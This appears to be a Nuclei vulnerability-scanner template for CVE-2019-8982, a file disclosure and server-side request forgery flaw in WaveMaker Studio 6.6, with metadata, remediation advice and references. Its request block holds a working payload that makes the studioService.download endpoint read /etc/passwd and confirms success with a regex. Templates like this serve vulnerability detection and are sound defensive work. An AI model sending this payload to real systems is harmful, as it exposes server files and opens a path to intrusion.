id: CVE-2019-8982

info:
  name: Wavemaker Studio 6.6 - Local File Inclusion/Server-Side Request Forgery
  author: madrobot
  severity: critical
  description: "WaveMaker Studio 6.6 mishandles the studioService.download?method=getContent&inUrl= value in com/wavemaker/studio/StudioService.java, leading to disclosure of local files and server-side request forgery."
  impact: |
    Successful exploitation of these vulnerabilities could lead to unauthorized access to sensitive files and potential server-side request forgery attacks.
  remediation: |
    Apply the latest security patches and updates provided by Wavemaker Studio to mitigate these vulnerabilities.
  reference:
    - https://www.exploit-db.com/exploits/45158
    - https://nvd.nist.gov/vuln/detail/CVE-2019-8982
    - https://github.com/merlinepedra25/nuclei-templates
    - https://github.com/sobinge/nuclei-templates
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
    cvss-score: 9.6
    cve-id: CVE-2019-8982
    cwe-id: CWE-918
    epss-score: 0.02482
    epss-percentile: 0.89006
    cpe: cpe:2.3:a:wavemaker:wavemarker_studio:6.6:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: wavemaker
    product: wavemarker_studio
  tags: cve,cve2019,wavemaker,lfi,ssrf,edb

http:
  - method: GET
    path:
      - "{{BaseURL}}/wavemaker/studioService.download?method=getContent&inUrl=file///etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100f9ac3029d4404d97aff432c3e0ffa1a4d249936ecc188363eab03cade5a8e338022100b5c1985353a7554572bf061349a934ae25cf128c70bdee4d4ad38891b6ce6e38:922c64590222798bb761d5b6d8e72950